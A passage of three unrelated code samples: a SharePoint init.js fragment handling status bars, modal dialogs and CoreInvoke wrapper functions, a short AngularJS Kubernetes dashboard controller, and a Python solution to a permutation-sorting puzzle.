StatusColorWithTopPriority=1 ;
}
sb.style.display="block";
return st.id;
}
}
function appendStatus(sid, strTitle, strHtml)
{ULSxSy:;
var sb=document.getElementById("pageStatusBar");
var stRef=document.getElementById(sid);
if (sb !=null && stRef !=null)
{
var st=null;
if (stRef.lastChild && stRef.lastChild.tagName=="BR")
{
stRef.removeChild(stRef.lastChild);
st=_createStatusMarkup(strTitle, strHtml, true);
}
else
{
st=_createStatusMarkup(strTitle, strHtml, false);
}
if (stRef.nextSibling !=null)
sb.insertBefore(st, stRef.nextSibling);
else
sb.appendChild(st);
return st.id;
}
}
function _createStatusMarkup(strTitle, strHtml, bWithBR)
{ULSxSy:;
var st=document.createElement("SPAN");
st.id="status_"+getUniqueIndex();
var rg=[];
rg.push("<span id='");
rg.push(st.id);
rg.push("_hiddenPriMsg");
rg.push("' class='ms-hidden'>");
rg.push(StatusTitle[1]+L_Status_Text);
rg.push("</span>");
if(strTitle.length !=0)
{
rg.push("<b>");
rg.push(strTitle);
rg.push("</b> ");
}
rg.push("<span id='");
rg.push(st.id);
rg.push("_body");
rg.push("'>");
rg.push(strHtml);
rg.push("</span>  ");
if (bWithBR)
rg.push("<br/>");
st.innerHTML=rg.join("");
st.setAttribute("role", "alert");
st.priorityColor=1;
st.title=StatusTitle[1];
st.tabIndex=0;
return st;
}
function removeAllStatus(hide)
{ULSxSy:;
var sb=document.getElementById("pageStatusBar");
if (sb !=null)
{
sb.innerHTML="";
sb.className=StatusBarClassNames[1];
StatusColorWithTopPriority=null;
StatusIdWithTopPriority=null;
if (hide)
sb.style.display="none";
}
}
function setStatusPriColor(sid, strColor)
{ULSxSy:;
var st=document.getElementById(sid);
if (st !=null && typeof(strColor)=='string')
{
if (strColor in StatusPriority)
{
st.priorityColor=StatusPriority[strColor];
st.title=StatusTitle[st.priorityColor];
}
else
{
st.priorityColor=1;
st.title=StatusTitle[1];
}
var hiddenSpan=st.firstChild;
if (hiddenSpan !=null && hiddenSpan.id==(sid+"_hiddenPriMsg"))
{
hiddenSpan.innerHTML=st.title+L_Status_Text;
}
if (sid==StatusIdWithTopPriority)
{
if (st.priorityColor >=StatusColorWithTopPriority)
StatusColorWithTopPriority=st.priorityColor;
else
_selectStatusWithTopPriority();
}
else
{
if (st.priorityColor > StatusColorWithTopPriority)
{
StatusIdWithTopPriority=sid;
StatusColorWithTopPriority=st.priorityColor;
}
}
var sb=document.getElementById("pageStatusBar");
if (sb)
sb.className=StatusBarClassNames[StatusColorWithTopPriority];
}
}
function _selectStatusWithTopPriority()
{ULSxSy:;
var sb=document.getElementById("pageStatusBar");
if (sb !=null)
{
var statusId=null;
var statusColor=1;
var statuses=sb.childNodes;
var statusesLen=statuses.length;
var status=null;
for (var i=0; i < statusesLen; i++)
{
status=statuses[i];
if (status.priorityColor > statusColor)
{
statusColor=status.priorityColor;
statusId=status.id;
}
}
StatusIdWithTopPriority=statusId;
StatusColorWithTopPriority=statusColor;
}
}
function updateStatus(sid, strHtml)
{ULSxSy:;
var bid=sid+"_body";
var b=document.getElementById(bid);
if (b)
b.innerHTML=strHtml;
}
function removeStatus(sid)
{ULSxSy:;
var st=document.getElementById(sid);
if (st !=null)
{
if (st.lastChild && st.lastChild.tagName=="BR")
{
var prevSt=st.previousSibling;
if (prevSt && prevSt.lastChild && prevSt.lastChild.tagName !="BR")
{
var br=document.createElement("BR");
prevSt.appendChild(br);
}
}
st.parentNode.removeChild(st);
var sb=document.getElementById("pageStatusBar");
if (sb)
{
if (sb.getElementsByTagName("SPAN").length==0)
{
sb.className=StatusBarClassNames[1];
StatusColorWithTopPriority=null;
StatusIdWithTopPriority=null;
sb.style.display="none";
}
else
{
if (sid==StatusIdWithTopPriority)
{
_selectStatusWithTopPriority();
sb.className=StatusBarClassNames[StatusColorWithTopPriority];
}
}
}
}
}
var g_dlgWndTop=null;
function _dlgWndTop()
{ULSxSy:;
if (g_dlgWndTop)
{
return g_dlgWndTop;
}
try
{
var parentIsDialogTop=window.parent.g_DialogWindowTop;
if (parentIsDialogTop)
{
g_dlgWndTop=window.parent;
}
}
catch (e)
{
}
finally
{
if (!g_dlgWndTop)
{
window.self.g_DialogWindowTop=true;
g_dlgWndTop=window.self;
}
}
return g_dlgWndTop;
}
function commonShowModalDialog(url, features, callback, args)
{ULSxSy:;
if (document.getElementById("__spPickerHasReturnValue") !=null)
document.getElementById("__spPickerHasReturnValue").value="";
if (document.getElementById("__spPickerReturnValueHolder") !=null)
document.getElementById("__spPickerReturnValueHolder").value="";
commonModalDialogReturnValue.clear();
var rv;
if (window.showModalDialog && !browseris.safari125up)
{
rv=window.showModalDialog(url, args, features);
if (callback)
{
invokeModalDialogCallback(callback, rv);
}
}
else
{
var defaultWidth=500, defaultHeight=550, defaultScrollbars="yes";
if(!features) features="width="+defaultWidth+",height="+defaultHeight;
else
{
function assocArray() {ULSxSy:; return new Array(); }
function assocArray_add(array, key, value)
{ULSxSy:;
array.push(key);
array[key]=value;
}
function assocArray_keys(array)
{ULSxSy:;
var keys=new Array();
for(var i=0; i<array.length; i++) keys.push(array[i]);
return keys;
}
var feats=assocArray(), fre, split;
if(features.search(/^(\s*\w+\s*:\s*.+?\s*)(;\s*\s*\w+\s*:\s*.+?\s*)*(;\s*)?$/) !=-1)
{
fre=/^\s*(\w+)\s*:\s*(.+?)\s*$/;
split=features.split(/\s*;\s*/);
}
else
{
fre=/^\s*(\w+)\s*=\s*(.+?)\s*$/;
split=features.split(/\s*,\s*/);
}
for(var feat in split)
{
var kv=fre.exec(split[feat]);
if(kv && kv.length==3) assocArray_add(feats, kv[1].toLowerCase(), kv[2]);
}
if(!feats["width"]) assocArray_add(feats, "width", feats["dialogwidth"] || defaultWidth);
if(!feats["height"]) assocArray_add(feats, "height", feats["dialogheight"] || defaultHeight);
if(!feats["scrollbars"]) assocArray_add(feats, "scrollbars", feats["scroll"] || defaultScrollbars);
features='';
var keys=assocArray_keys(feats);
for(var i in keys)
{
if(features) features+=",";
features+=keys[i]+"="+feats[keys[i]];
}
}
var modalDialog=window.open(url, '_blank', features+',modal=yes,dialog=yes');
modalDialog.dialogArguments=args;
window.onfocus=function() {ULSxSy:;
var bHasReturnValue
=((document.getElementById("__spPickerHasReturnValue") !=null) &&
(document.getElementById("__spPickerHasReturnValue").value=="1"))
|| commonModalDialogReturnValue.isSet();
if (modalDialog && !modalDialog.closed && !bHasReturnValue)
{
modalDialog.focus();
}
else
{
window.onfocus=null;
if (callback)
{
invokeModalDialogCallback(callback, rv);
}
}
}
if (!browseris.ie)
{
if (window.frameElement !=null)
{
window.fndlgClose=callback;
}
}
}
return rv;
}
function invokeModalDialogCallback(callback, rv)
{ULSxSy:;
if (typeof(rv) !="undefined" && rv !=null)
{
callback(rv);
}
else if (commonModalDialogReturnValue.isSet())
{
rv=commonModalDialogReturnValue.get();
callback(rv);
commonModalDialogReturnValue.clear();
}
else if (document.getElementById("__spPickerHasReturnValue") !=null &&
document.getElementById("__spPickerHasReturnValue").value=="1" &&
document.getElementById("__spPickerReturnValueHolder") !=null)
{
rv=document.getElementById("__spPickerReturnValueHolder").value;
callback(rv);
}
return rv;
}
function setModalDialogReturnValue(wnd, returnValue)
{ULSxSy:;
if (wnd.opener !=null &&
typeof(returnValue)=='string' &&
wnd.opener.document.getElementById('__spPickerHasReturnValue') !=null &&
wnd.opener.document.getElementById('__spPickerReturnValueHolder') !=null)
{
wnd.opener.document.getElementById('__spPickerHasReturnValue').value='1';
wnd.opener.document.getElementById('__spPickerReturnValueHolder').value=returnValue;
}
else
{
setModalDialogObjectReturnValue(wnd, returnValue);
}
if (browseris.safari125up)
{
if (wnd.opener !=null && wnd.opener.fndlgClose !=null)
wnd.opener.fndlgClose(returnValue);
}
}
function setModalDialogObjectReturnValue(wnd, returnValue)
{ULSxSy:;
if (wnd.showModalDialog && !browseris.safari125up)
{
wnd.returnValue=returnValue;
}
else if (wnd.opener !=null)
{
wnd.opener.commonModalDialogReturnValue.set(returnValue);
}
}
function CommonGlobalDialogReturnValue()
{ULSxSy:;
var hasRetVal=false;
var retVal=null;
this.set=function (obj)
{ULSxSy:;
if(typeof(obj) !="undefined")
{
this.retVal=obj;
this.hasRetval=true;
}
}
this.isSet=function() {ULSxSy:; return this.hasRetval;}
this.get=function() {ULSxSy:; if(this.hasRetval) return this.retVal; }
this.clear=function() {ULSxSy:; this.hasRetval=false; this.retVal=null; }
}
var commonModalDialogReturnValue=new CommonGlobalDialogReturnValue();
function commonModalDialogOpen(url, options, callback, args)
{ULSxSy:;
var fn=function ()
{ULSxSy:;
options.url=url;
options.dialogReturnValueCallback=callback;
options.args=args;
var dlg=SP.UI.ModalDialog.showModalDialog(options);
dlg.get_frameElement().commonModalDialogClose=commonModalDialogClose;
};
var defd;
try
{
defd=typeof(SP.UI.ModalDialog.showModalDialog);
}
catch (e)
{
defd="undefined"
}
EnsureScript("SP.UI.Dialog.js", defd, fn);
}
function commonModalDialogClose(dialogResult, returnValue)
{ULSxSy:;
var dlg=_dlgWndTop().g_childDialog;
if (dlg)
{
dlg.set_returnValue(returnValue);
dlg.close(dialogResult);
}
}
function commonModalDialogGetArguments()
{ULSxSy:;
var dlg=_dlgWndTop().g_childDialog;
if (dlg && typeof(dlg.get_args) !="undefined")
return dlg.get_args();
return null;
}
function ShowPopupDialog(dlgUrl)
{ULSxSy:;
ShowPopupDialogWithCallback(dlgUrl, PopupDialogCallback);
}
function ShowPopupDialogWithCallback(dlgUrl, dialogCallback)
{ULSxSy:;
var fn=function ()
{ULSxSy:;
if (FV4UI())
{
var dlgOptions={};
dlgOptions.url=dlgUrl;
dlgOptions.dialogReturnValueCallback=dialogCallback;
var dlg=SP.UI.ModalDialog.showModalDialog(dlgOptions);
dlg.get_frameElement().commonModalDialogClose=commonModalDialogClose;
}else
{
STSNavigate(dlgUrl);
}
};
var defd;
try
{
defd=typeof(SP.UI.ModalDialog.showModalDialog);
}
catch (e)
{
defd="undefined"
}
EnsureScript("SP.UI.Dialog.js", defd, fn);
}
function PopupDialogCallback(dialogResult, returnValue)
{ULSxSy:;
if (dialogResult==1)
{
STSNavigate(_dlgWndTop().location.href);
}
}
function SelectField(view, selectID) {ULSxSy:;
CoreInvoke('_SelectField', view, selectID);
}
function FilterField(view, fieldName, fieldValue, selOption) {ULSxSy:;
CoreInvoke('_FilterField', view, fieldName, fieldValue, selOption);
}
function SetControlValue(controlId, value) {ULSxSy:;
CoreInvoke('_SetControlValue', controlId, value);
}
function SubmitFormPost(url, bForceSubmit, bDemoteIntoFormBody) {ULSxSy:;
CoreInvoke('_SubmitFormPost', url, bForceSubmit, bDemoteIntoFormBody);
}
function GoToPageRelative(url) {ULSxSy:;
CoreInvoke('_GoToPageRelative', url);
}
function EnterFolder(url) {ULSxSy:;
CoreInvoke('_EnterFolder', url);
}
function HandleFolder(ele, objEvent, url, fTransformServiceOn, fShouldTransformExtension,
fTransformHandleUrl, strHtmlTrProgId, iDefaultItemOpen, strProgId, strHtmlType, strServerFileRedirect,
strCheckoutUser, strCurrentUser, strRequireCheckout, strCheckedoutTolocal, strPermmask) {ULSxSy:;
CoreInvoke('_HandleFolder', ele, objEvent, url, fTransformServiceOn, fShouldTransformExtension,
fTransformHandleUrl, strHtmlTrProgId, iDefaultItemOpen, strProgId, strHtmlType, strServerFileRedirect,
strCheckoutUser, strCurrentUser, strRequireCheckout, strCheckedoutTolocal, strPermmask);
}
function VerifyFolderHref(ele, objEvent, url, strHtmlTrProgId, iDefaultItemOpen, strProgId, strHtmlType, strServerFileRedirect)
{ULSxSy:;
CoreInvoke('_VerifyFolderHref', ele, objEvent, url, strHtmlTrProgId, iDefaultItemOpen, strProgId, strHtmlType, strServerFileRedirect);
}
function VerifyHref(ele, objEvent, iDefaultItemOpen, strProgId, strServerFileRedirect)
{ULSxSy:;
CoreInvoke('_VerifyHref', ele, objEvent, iDefaultItemOpen, strProgId, strServerFileRedirect);
}
function DispEx(ele, objEvent, fTransformServiceOn, fShouldTransformExtension,
fTransformHandleUrl, strHtmlTrProgId, iDefaultItemOpen, strProgId, strHtmlType, strServerFileRedirect,
strCheckoutUser, strCurrentUser, strRequireCheckout, strCheckedoutTolocal, strPermmask)
{ULSxSy:;
CoreInvoke('_DispEx', ele, objEvent, fTransformServiceOn, fShouldTransformExtension,
fTransformHandleUrl, strHtmlTrProgId, iDefaultItemOpen, strProgId, strHtmlType, strServerFileRedirect,
strCheckoutUser, strCurrentUser, strRequireCheckout, strCheckedoutTolocal, strPermmask);
}
function EditItemWithCheckoutAlert(event, Url, bCheckout, bIsCheckedOutToLocal, strDocument, strhttpRoot,
strCurrentUser, strCheckoutUser) {ULSxSy:;
CoreInvoke('_EditItemWithCheckoutAlert', event, Url, bCheckout, bIsCheckedOutToLocal, strDocument, strhttpRoot,
strCurrentUser, strCheckoutUser);
}
function STSNavigateWithCheckoutAlert(Url, bCheckout, bIsCheckedOutToLocal, strDocument, strhttpRoot,
strCurrentUser, strCheckoutUser)
{ULSxSy:;
CoreInvoke('_STSNavigateWithCheckoutAlert', Url, bCheckout, bIsCheckedOutToLocal, strDocument, strhttpRoot,
strCurrentUser, strCheckoutUser);
}
function NewItem2(evt, url) {ULSxSy:;
CoreInvoke('_NewItem2', evt, url);
}
function NewItem(url) {ULSxSy:;
CoreInvoke('_NewItem', url);
}
function EditItem2(evt, url) {ULSxSy:;
CoreInvoke('_EditItem2', evt, url);
}
function EditItem(url) {ULSxSy:;
CoreInvoke('_EditItem', url);
}
function RefreshPageTo(evt, url, bForceSubmit) {ULSxSy:;
CoreInvoke('_RefreshPageTo', evt, url, bForceSubmit);
}
function AddGroupToCookie(groupName) {ULSxSy:;
CoreInvoke('_AddGroupToCookie', groupName);
}
function RemoveGroupFromCookie(groupName) {ULSxSy:;
CoreInvoke('_RemoveGroupFromCookie', groupName);
}
function ExpGroupBy(formObj) {ULSxSy:;
CoreInvoke('_ExpGroupBy', formObj);
}
function DispDocItem(ele,strProgId) {ULSxSy:;
CoreInvoke('_DispDocItem',ele,strProgId);
}
function DispDocItemExWithServerRedirect(ele, objEvent, fTransformServiceOn, fShouldTransformExtension,
fTransformHandleUrl, strProgId, iDefaultItemOpen, strServerFileRedirect) {ULSxSy:;
CoreInvoke('_DispDocItemExWithServerRedirect', ele, objEvent, fTransformServiceOn,
fShouldTransformExtension, fTransformHandleUrl, strProgId, iDefaultItemOpen, strServerFileRedirect);
}
function DispDocItemEx(ele, fTransformServiceOn, fShouldTransformExtension, fTransformHandleUrl, strProgId) {ULSxSy:;
CoreInvoke('_DispDocItemEx', ele, fTransformServiceOn, fShouldTransformExtension, fTransformHandleUrl, strProgId);
}
function PortalPinToMyPage(eForm, portalUrl, instanceID) {ULSxSy:;
CoreInvoke('_PortalPinToMyPage', eForm, portalUrl, instanceID);
}
function PortalPinToMyPage(eForm, portalUrl, instanceId, listTitle, listDescription, listViewUrl, baseType, serverTemplate) {ULSxSy:;
CoreInvoke('_PortalPinToMyPage', eForm, portalUrl, instanceId, listTitle, listDescription, listViewUrl, baseType, serverTemplate);
}
function MoveToViewDate(strdate, view_type, ctxid) {ULSxSy:;
CoreInvoke('_MoveToViewDate', strdate, view_type, ctxid);
}
function MoveToDate(strdate, ctxid) {ULSxSy:;
CoreInvoke('_MoveToDate', strdate, ctxid);
}
function ClickDay(date) {ULSxSy:;
CoreInvoke('_ClickDay', date);
}
function GetMonthView(str) {ULSxSy:;
CoreInvoke('_GetMonthView', str);
}
function OptLoseFocus(opt) {ULSxSy:;
CoreInvoke('_OptLoseFocus', opt);
}
function SetCtrlFromOpt(ctrl, opt) {ULSxSy:;
CoreInvoke('_SetCtrlFromOpt', ctrl, opt);
}
function ChangeLayoutMode(p1, p2) {ULSxSy:;
CoreInvoke('_ChangeLayoutMode', p1, p2);
}
function MSOLayout_ChangeLayoutMode(p1,p2) {ULSxSy:;
ChangeLayoutMode(p1, p2);
}
function WebPartMenuKeyboardClick(elem, expectedKeyCode1, expectedKeyCode2, event) {ULSxSy:;
CoreInvoke('_WebPartMenuKeyboardClick', elem, expectedKeyCode1, expectedKeyCode2, event);
}
function ShowToolPane2Wrapper(p1, p2, p3) {ULSxSy:;
CoreInvoke('_ShowToolPane2Wrapper', p1, p2, p3);
}
function EditInSPD(strDocument, bRefresh) {ULSxSy:;
CoreInvoke('_EditInSPD', strDocument, bRefresh);
}
function SetupFixedWidthWebParts() {ULSxSy:;
CoreInvoke('_SetupFixedWidthWebParts');
}
function ToggleAllItems(evt, cbx, ctxNum) {ULSxSy:;
CoreInvoke('_ToggleAllItems', evt, cbx, ctxNum);
}
function CommandUIExecuteCommand(commandId) {ULSxSy:;
CoreInvoke('_CommandUIExecuteCommand', commandId);
}
function PopMenuFromChevron(e) {ULSxSy:;
CoreInvoke('_PopMenuFromChevron', e);
}
function NavigateToSubNewAspx(strHttpRoot, strArgs) {ULSxSy:;
CoreInvoke('_NavigateToSubNewAspx', strHttpRoot, strArgs);
}
function NavigateToManagePermsPage(strHttpRoot, strListId, strFileRef) {ULSxSy:;
CoreInvoke('_NavigateToManagePermsPage', strHttpRoot, strListId, strFileRef);
}
function DoNavigateToTemplateGallery(strSaveLocUrl, strTGUrl) {ULSxSy:;
CoreInvoke('_DoNavigateToTemplateGallery', strSaveLocUrl, strTGUrl);
}
function RefreshPage(dialogResult) {ULSxSy:;
CoreInvoke('_RefreshPage', dialogResult);
}
function OpenPopUpPage(url, callback, width, height) {ULSxSy:;
CoreInvoke('_OpenPopUpPage', url, callback, width, height);
}
function OpenCreateWebPageDialog(url) {ULSxSy:;
CoreInvoke('_OpenCreateWebPageDialog', url);
}
function EditLink2(elm, ctxNum) {ULSxSy:;
CoreInvoke('_EditLink2', elm, ctxNum);
}
function GoBack(defViewUrl) {ULSxSy:;
CoreInvoke('_GoBack', defViewUrl);
}
function ReplyItem(url, threading, guid, subject) {ULSxSy:;
CoreInvoke('_ReplyItem', url, threading, guid, subject);
}
function ExportToDatabase(strSiteUrl, strListID, strViewID, fUseExistingDB) {ULSxSy:;
CoreInvoke('_ExportToDatabase', strSiteUrl, strListID, strViewID, fUseExistingDB);
}
function ExportList(using) {ULSxSy:;
CoreInvoke('_ExportList', using);
}
function ClearSearchTerm(guidView) {ULSxSy:;
CoreInvoke('_ClearSearchTerm', guidView);
}
function SubmitSearchForView(ViewGuid) {ULSxSy:;
CoreInvoke('_SubmitSearchForView', ViewGuid);
}
function SubmitSearchRedirect(strUrl) {ULSxSy:;
CoreInvoke('_SubmitSearchRedirect', strUrl);
}
function AlertAndSetFocus(msg, fieldName) {ULSxSy:;
CoreInvoke('_AlertAndSetFocus', msg, fieldName);
}
function AlertAndSetFocusForDropdown(msg, fieldName) {ULSxSy:;
CoreInvoke('_AlertAndSetFocusForDropdown', msg, fieldName);
}
function AddSilverlightWebPart(item, zoneNum, zoneIndex) {ULSxSy:;
CoreInvoke('_AddSilverlightWebPart', item, zoneNum, zoneIndex);
}
function UserSelectionOnClick(chk, viewCounter) {ULSxSy:;
CoreInvoke('_UserSelectionOnClick', chk, viewCounter);
}
function OnIframeLoad() {ULSxSy:;
CoreInvoke('_OnIframeLoad');
}
function OnFocusFilter(elm) {ULSxSy:;
CoreInvoke('_OnFocusFilter', elm);
}
function TopHelpButtonClick(strParam) {ULSxSy:;
CoreInvoke('_TopHelpButtonClick', strParam);
}
function HelpWindowKey(strKey) {ULSxSy:;
CoreInvoke('_HelpWindowKey', strKey);
}
function HelpWindowUrl(strUrl) {ULSxSy:;
CoreInvoke('_HelpWindowUrl', strUrl);
}
function HelpWindow() {ULSxSy:;
CoreInvoke('_HelpWindow');
}
function OnClickFilter(obj, e) {ULSxSy:;
return CoreInvoke('_OnClickFilter', obj, e);
}
function GCActivateAndFocus(GCObject) {ULSxSy:;
CoreInvoke('_GCActivateAndFocus', GCObject);
}
function GCNavigateToNonGridPage() {ULSxSy:;
CoreInvoke('_GCNavigateToNonGridPage');
}
function _EnsureJSClass(nsStr, isNamespace)
{ULSxSy:;
var parts=nsStr.split(".");
var prevNS;
for (var i=0, pLen=parts.length; i<pLen; i++)
{
var ns=parts[i];
if (typeof(prevNS)=="undefined")
{
prevNS=window;
}
if (typeof(prevNS[ns])=="undefined")
{
prevNS[ns]=new Object();
}
prevNS=prevNS[ns];
if (isNamespace)
{
prevNS.__namespace=true;
}
}
}
function _EnsureJSNamespace(nsStr)
{ULSxSy:;
_EnsureJSClass(nsStr, true);
}
_EnsureJSNamespace("SP");
_EnsureJSClass("SP.SOD");
SP.SOD.execute=EnsureScriptParams;
SP.SOD.executeFunc=EnsureScriptFunc;
SP.SOD.registerSod=RegisterSod;
SP.SOD.registerSodDep=RegisterSodDep;
SP.SOD.executeOrDelayUntilScriptLoaded=ExecuteOrDelayUntilScriptLoaded;
SP.SOD.executeOrDelayUntilEventNotified=ExecuteOrDelayUntilEventNotified;
SP.SOD.notifyScriptLoadedAndExecuteWaitingJobs=NotifyScriptLoadedAndExecuteWaitingJobs;
SP.SOD.notifyEventAndExecuteWaitingJobs=NotifyEventAndExecuteWaitingJobs;
SP.SOD.get_prefetch=function () {ULSxSy:;return g_prefetch;}
SP.SOD.set_prefetch=function (prefetch) {ULSxSy:;g_prefetch=prefetch;}
_EnsureJSNamespace("SP.UI");
_EnsureJSClass("SP.UI.Workspace");
SP.UI.Workspace.add_resized=function (handler)
{ULSxSy:;
g_workspaceResizedHandlers.push(handler);
};
SP.UI.Workspace.remove_resized=function (handler)
{ULSxSy:;
var match=-1;
for (var i=0, wLen=g_workspaceResizedHandlers.length; i<wLen; i++)
{
if (handler==g_workspaceResizedHandlers[i])
{
match=i;
break;
}
}
if (match !=-1)
{
g_workspaceResizedHandlers.splice(match, 1);
}
};
_EnsureJSClass("SP.UI.ModalDialog");
var _SP_UI_ModalDialog=SP.UI.ModalDialog;
_SP_UI_ModalDialog.ShowPopupDialog=ShowPopupDialog;
_SP_UI_ModalDialog.OpenPopUpPage=OpenPopUpPage;
_SP_UI_ModalDialog.commonModalDialogOpen=commonModalDialogOpen;
_SP_UI_ModalDialog.commonModalDialogClose=commonModalDialogClose;
_SP_UI_ModalDialog.RefreshPage=RefreshPage;
if( typeof(Sys) !="undefined" && Sys && Sys.Application ){
Sys.Application.notifyScriptLoaded();
}
NotifyScriptLoadedAndExecuteWaitingJobs("init.js");
|
import { DASHBOARD_URL } from './constants';
export default class KubernetesContainersCtrl {
/* @ngInject */
constructor(coreConfig) {
this.user = coreConfig.getUser();
this.dashboardUrl =
DASHBOARD_URL[this.user.ovhSubsidiary] || DASHBOARD_URL.DEFAULT;
}
}
|
for i in range(int(input())):
n=int(input())
l=list(map(int,input().split()))
check=0
for j in range(n):
if l[j]!=j+1:
check=1
if check==0:
print(0)
elif l[0]== n and l[-1]==1:
print(3)
elif l[0]==1 or l[-1]==n:
print(1)
else:
print(2)
|